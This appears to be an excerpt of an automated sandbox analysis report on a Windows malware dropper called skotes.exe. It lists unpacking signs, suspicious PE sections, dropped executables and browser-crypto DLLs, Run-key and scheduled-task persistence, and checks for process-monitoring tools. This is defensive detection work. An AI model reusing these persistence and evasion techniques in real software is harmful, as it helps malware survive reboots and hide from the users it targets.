Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000003.4278061535.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000003.4281279423.0000000005BB0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 5936bfa4af.exe, 0000002C.00000002.3621203518.0000000000192000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: 17ce3a84e4.exe, 0000001B.00000003.4436703085.0000000002F46000.00000004.00000800.00020000.00000000.sdmp, 17ce3a84e4.exe, 0000001B.00000000.3007120509.00000000005EC000.00000002.00000001.01000000.0000000F.sdmp, 17ce3a84e4.exe, 0000001B.00000002.4512003521.00000000005EC000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: mozglue.pdb source: 9f6ea82062.exe, 00000020.00000002.4069578254.000000006C0DD000.00000002.00000001.01000000.0000001E.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;jxvuvlsp:EW;mchtvxnx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jxvuvlsp:EW;mchtvxnx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.6c0000.0.unpack :EW;.rsrc:W;.idata :W;jxvuvlsp:EW;mchtvxnx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jxvuvlsp:EW;mchtvxnx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.6c0000.0.unpack :EW;.rsrc:W;.idata :W;jxvuvlsp:EW;mchtvxnx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;jxvuvlsp:EW;mchtvxnx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Unpacked PE file: 32.2.9f6ea82062.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W;snxelege:EW;ykhzuyiy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;snxelege:EW;ykhzuyiy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Unpacked PE file: 36.2.9f6ea82062.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W;snxelege:EW;ykhzuyiy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;snxelege:EW;ykhzuyiy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Unpacked PE file: 44.2.5936bfa4af.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;fsnanlnd:EW;vmzqagxo:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 647da3efc5.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x2c9641 should be: 0x2d370e
Source: SurveillanceWalls.exe.6.dr	Static PE information: real checksum: 0x13aed5 should be: 0x14afb9
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x334264 should be: 0x3300db
Source: 412ec13ac5.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[2].exe2.6.dr	Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 9f6ea82062.exe.6.dr	Static PE information: real checksum: 0x2c9641 should be: 0x2d370e
Source: 580c9354ec.exe.6.dr	Static PE information: real checksum: 0x1ca3fb should be: 0x1cf3ec
Source: hYW0tgm[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5958b
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x2b2e8b should be: 0x2b4359
Source: 5936bfa4af.exe.6.dr	Static PE information: real checksum: 0x2b2e8b should be: 0x2b4359
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1ca3fb should be: 0x1cf3ec
Source: SurveillanceWalls[1].exe.6.dr	Static PE information: real checksum: 0x13aed5 should be: 0x14afb9
Source: hYW0tgm.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x5958b
Source: random[3].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: random[2].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: file.exe	Static PE information: real checksum: 0x334264 should be: 0x3300db
Source: 0c0e50df68.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: a53907268b.exe.6.dr	Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: jxvuvlsp
Source: file.exe	Static PE information: section name: mchtvxnx
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: jxvuvlsp
Source: skotes.exe.0.dr	Static PE information: section name: mchtvxnx
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name: .fptable
Source: 17ce3a84e4.exe.6.dr	Static PE information: section name: .fptable
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: gysvhwxe
Source: random[1].exe1.6.dr	Static PE information: section name: isftafyi
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 580c9354ec.exe.6.dr	Static PE information: section name:
Source: 580c9354ec.exe.6.dr	Static PE information: section name: .idata
Source: 580c9354ec.exe.6.dr	Static PE information: section name:
Source: 580c9354ec.exe.6.dr	Static PE information: section name: gysvhwxe
Source: 580c9354ec.exe.6.dr	Static PE information: section name: isftafyi
Source: 580c9354ec.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name: snxelege
Source: random[1].exe2.6.dr	Static PE information: section name: ykhzuyiy
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 9f6ea82062.exe.6.dr	Static PE information: section name:
Source: 9f6ea82062.exe.6.dr	Static PE information: section name: .idata
Source: 9f6ea82062.exe.6.dr	Static PE information: section name: snxelege
Source: 9f6ea82062.exe.6.dr	Static PE information: section name: ykhzuyiy
Source: 9f6ea82062.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name: fsnanlnd
Source: random[2].exe0.6.dr	Static PE information: section name: vmzqagxo
Source: random[2].exe0.6.dr	Static PE information: section name: .taggant
Source: 5936bfa4af.exe.6.dr	Static PE information: section name:
Source: 5936bfa4af.exe.6.dr	Static PE information: section name: .idata
Source: 5936bfa4af.exe.6.dr	Static PE information: section name: fsnanlnd
Source: 5936bfa4af.exe.6.dr	Static PE information: section name: vmzqagxo
Source: 5936bfa4af.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: .idata
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: wekcazbo
Source: random[2].exe2.6.dr	Static PE information: section name: ttllozcv
Source: random[2].exe2.6.dr	Static PE information: section name: .taggant
Source: a53907268b.exe.6.dr	Static PE information: section name:
Source: a53907268b.exe.6.dr	Static PE information: section name: .idata
Source: a53907268b.exe.6.dr	Static PE information: section name:
Source: a53907268b.exe.6.dr	Static PE information: section name: wekcazbo
Source: a53907268b.exe.6.dr	Static PE information: section name: ttllozcv
Source: a53907268b.exe.6.dr	Static PE information: section name: .taggant
Source: msvcp140[1].dll.32.dr	Static PE information: section name: .didat
Source: nss3.dll.32.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.32.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.32.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.32.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.32.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.32.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.32.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.32.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.32.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECD91C push ecx; ret	0_2_00ECD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC1359 push es; ret	0_2_00EC135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006DD91C push ecx; ret	2_2_006DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006DD91C push ecx; ret	3_2_006DD92F
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 7_2_00374303 push ecx; ret	7_2_00374316
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00374303 push ecx; ret	9_2_00374316
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0043C3F0 push eax; mov dword ptr [esp], 060504D3h	9_2_0043C3F5
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_00439550 push eax; mov dword ptr [esp], D1D2D3D4h	9_2_0043955E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_0044251C pushad ; iretd	9_2_004425A3
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004455EC push esp; ret	9_2_004455ED
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: 9_2_004457A4 push ecx; ret	9_2_004457A5

Source: file.exe	Static PE information: section name: entropy: 7.068382572685461
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.068382572685461
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.986802269379311
Source: random[1].exe1.6.dr	Static PE information: section name: gysvhwxe entropy: 7.954266433248045
Source: 580c9354ec.exe.6.dr	Static PE information: section name: entropy: 7.986802269379311
Source: 580c9354ec.exe.6.dr	Static PE information: section name: gysvhwxe entropy: 7.954266433248045
Source: random[2].exe2.6.dr	Static PE information: section name: entropy: 7.980952558000639
Source: random[2].exe2.6.dr	Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: a53907268b.exe.6.dr	Static PE information: section name: entropy: 7.980952558000639
Source: a53907268b.exe.6.dr	Static PE information: section name: wekcazbo entropy: 7.952954751128578

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\370821\Sale.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019603001\d0c6b9d6b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019601001\a53907268b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019604001\0c0e50df68.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\hYW0tgm[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\EUCyhuW[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\SurveillanceWalls[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 580c9354ec.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f6ea82062.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51ecf08926.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1ba4718074.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5936bfa4af.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 408fbd4e57.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dfe1c8ec1f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9e7a844ab2.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 580c9354ec.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 580c9354ec.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f6ea82062.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9f6ea82062.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51ecf08926.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 51ecf08926.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5936bfa4af.exe	Jump to behavior
